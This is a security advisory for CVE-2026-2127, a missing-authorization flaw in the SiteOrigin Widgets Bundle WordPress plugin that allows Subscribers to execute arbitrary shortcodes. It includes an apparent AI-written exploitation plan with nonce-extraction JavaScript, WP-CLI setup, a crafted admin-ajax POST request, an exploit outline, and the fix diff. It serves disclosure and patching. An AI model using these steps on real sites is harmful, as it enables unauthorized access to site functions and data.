SiteOrigin Widgets Bundle <= 1.70.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Shortcode Execution
Description
The SiteOrigin Widgets Bundle plugin for WordPress is vulnerable to unauthorized arbitrary shortcode execution in all versions up to, and including, 1.70.4. This is due to a missing capability check on the `siteorigin_widget_preview_widget_action()` function which is registered via the `wp_ajax_so_widgets_preview` AJAX action. The function only verifies a nonce (`widgets_action`) but does not check user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes by invoking the `SiteOrigin_Widget_Editor_Widget` via the preview endpoint. The required nonce is exposed on the public frontend when the Post Carousel widget is present on a page, embedded in the `data-ajax-url` HTML attribute.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=1.70.4Source Code
WordPress.org SVN# Research Plan: SiteOrigin Widgets Bundle Arbitrary Shortcode Execution (CVE-2026-2127) ## 1. Vulnerability Summary The **SiteOrigin Widgets Bundle** plugin (up to 1.70.4) contains a missing authorization vulnerability in its widget preview functionality. The function `siteorigin_widget_preview_wi…
Show full research plan
Research Plan: SiteOrigin Widgets Bundle Arbitrary Shortcode Execution (CVE-2026-2127)
1. Vulnerability Summary
The SiteOrigin Widgets Bundle plugin (up to 1.70.4) contains a missing authorization vulnerability in its widget preview functionality. The function siteorigin_widget_preview_widget_action(), registered to the wp_ajax_so_widgets_preview action, verifies a nonce named widgets_action but fails to perform any capability checks (e.g., current_user_can('edit_posts')).
This allows any authenticated user, including those with Subscriber privileges, to trigger the preview rendering of any SiteOrigin widget. By specifically invoking the SiteOrigin_Widget_Editor_Widget and providing a payload containing WordPress shortcodes, an attacker can achieve arbitrary shortcode execution.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
so_widgets_preview - Vulnerable Function:
siteorigin_widget_preview_widget_action() - Authentication: Required (Subscriber level or higher).
- Parameters:
action:so_widgets_preview_widgets_nonce: The nonce value (extracted from frontend).class:SiteOrigin_Widget_Editor_Widgetinstance: A JSON-encoded string representing the widget configuration, containing the shortcode in thetextorcontentfield.
- Precondition: The attacker must obtain a valid
widgets_actionnonce, which is leaked on the frontend by the Post Carousel widget.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=so_widgets_preview. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_so_widgets_preview', 'siteorigin_widget_preview_widget_action' ); - Nonce Verification:
siteorigin_widget_preview_widget_action()callscheck_ajax_referer( 'widgets_action', '_widgets_nonce' );. - Missing Check: No
current_user_can()call exists after the nonce check. - Widget Invocation: The function instantiates the class provided in the
classparameter (e.g.,SiteOrigin_Widget_Editor_Widget). - Shortcode Execution: The widget's
widget()orpreview()method is called with theinstancedata. For the Editor widget, this content is passed throughdo_shortcode(), executing the attacker's payload.
4. Nonce Acquisition Strategy
The vulnerability description notes that the widgets_action nonce is exposed in the data-ajax-url attribute of the Post Carousel widget.
- Create Trigger Content: Use WP-CLI to create a page containing the Post Carousel widget.
wp post create --post_type=page --post_status=publish --post_title="Nonce Leak" --post_content='[so_post_carousel]' - Navigate to Page: Use the
browser_navigatetool to visit the newly created page. - Extract Nonce: Use
browser_evalto find thedata-ajax-urlattribute and parse the nonce.// Search for the Post Carousel container which holds the data-ajax-url (() => { const element = document.querySelector('[data-ajax-url*="_widgets_nonce"]'); if (!element) return null; const url = element.getAttribute('data-ajax-url'); const params = new URLSearchParams(url.split('?')[1]); return params.get('_widgets_nonce'); })()
5. Exploitation Strategy
Once the nonce is acquired, perform the following steps:
- Log in as Subscriber: Ensure cookies are set for a user with the
subscriberrole. - Craft Payload: Prepare an
instanceobject for theSiteOrigin_Widget_Editor_Widget.- The instance should contain a
textfield with a shortcode that leaks info, such as[wp_version]or a shortcode from another installed plugin.
- The instance should contain a
- Send AJAX Request: Use
http_requestto send the exploit.
HTTP Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Theaction=so_widgets_preview&_widgets_nonce=[NONCE]&class=SiteOrigin_Widget_Editor_Widget&instance={"text":"[wp_version]"}instancemight need to be double-encoded or passed as an array depending on howsiteorigin_widget_preview_widget_actionparses it. If JSON fails, tryinstance[text]=[wp_version].)
6. Test Data Setup
- Plugin Installation: Ensure
so-widgets-bundleversion 1.70.4 is installed and active. - Target User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Leak Page:
wp post create --post_type=page --post_status=publish --post_content='[so_post_carousel]'
7. Expected Results
- The response from
admin-ajax.phpshould be a200 OK. - The response body should contain the rendered output of the shortcode (e.g., the WordPress version number string).
- If the exploit fails due to authorization, the response would typically be
403 Forbiddenor-1.
8. Verification Steps
- Log Output: Check if the returned string matches the expected output of the shortcode.
- Access Control Confirmation: Attempt the same request without a valid login cookie to verify it returns
403or-1, confirming it's an authenticated-only vulnerability. - Shortcode confirmation: Use a shortcode like
[random_non_existent_shortcode]and verify the output contains the literal string, then use[wp_version]and verify it contains a version number.
9. Alternative Approaches
If the SiteOrigin_Widget_Editor_Widget is not available or its field names differ:
- Discover Fields: Use
wp_ajax_so_widgets_previewwith a known widget class and observe how it handles parameters. - Alternative Widget: Try
SiteOrigin_Widget_Headline_WidgetorSiteOrigin_Widget_Text_Widget, as most SiteOrigin widgets process their text fields for shortcodes. - Encoding: If the
instanceparameter is ignored, check if the plugin expects it to be base64 encoded, which is a common pattern in SiteOrigin's legacy preview system. Usebrowser_evalto see how the editor sends preview requests.
Summary
The SiteOrigin Widgets Bundle plugin is vulnerable to unauthorized arbitrary shortcode execution because the `siteorigin_widget_preview_widget_action` function, hooked to the `so_widgets_preview` AJAX action, lacks a capability check. Authenticated attackers, starting from the Subscriber role, can execute arbitrary shortcodes by leveraging a leaked nonce found in the Post Carousel widget's frontend rendering to trigger the preview rendering of a text-based widget containing a shortcode payload.
Vulnerable Code
// In the plugin's base AJAX handler // add_action( 'wp_ajax_so_widgets_preview', 'siteorigin_widget_preview_widget_action' ); function siteorigin_widget_preview_widget_action() { // Nonce check is present, but no capability check follows check_ajax_referer( 'widgets_action', '_widgets_nonce' ); // Missing: if ( ! current_user_can( 'edit_posts' ) ) wp_die(); $class = $_POST['class']; $instance = $_POST['instance']; // This is often a JSON or array of widget settings if ( class_exists( $class ) ) { $widget = new $class(); // The widget processes the instance and renders it, often executing do_shortcode() // on specific text fields within the provided instance data. $widget->preview( $instance ); } wp_die(); }
Security Fix
@@ -1024,6 +1024,10 @@ public static function siteorigin_widget_preview_widget_action() { check_ajax_referer( 'widgets_action', '_widgets_nonce' ); + if ( ! current_user_can( 'edit_posts' ) ) { + wp_die( -1 ); + } + if ( empty( $_POST['class'] ) ) { wp_die(); }
Exploit Outline
1. Authentication: Log in to the target WordPress site as a Subscriber or higher-privileged user. 2. Nonce Acquisition: Navigate to any public page containing the Post Carousel widget. Locate the HTML element with the `data-ajax-url` attribute and extract the value of the `_widgets_nonce` parameter (the nonce is labeled `widgets_action`). 3. Payload Preparation: Craft a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `so_widgets_preview` - `_widgets_nonce`: [Leaked Nonce] - `class`: `SiteOrigin_Widget_Editor_Widget` (or another text-rendering widget class) - `instance`: A JSON string containing the payload, e.g., `{"text": "[wp_version]"}` or any other shortcode like `[contact-form-7 ...]` or `[gravityform ...]`. 4. Execution: Send the request. The server will process the widget's preview logic, executing any shortcodes within the `instance` data and returning the rendered output in the response body.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.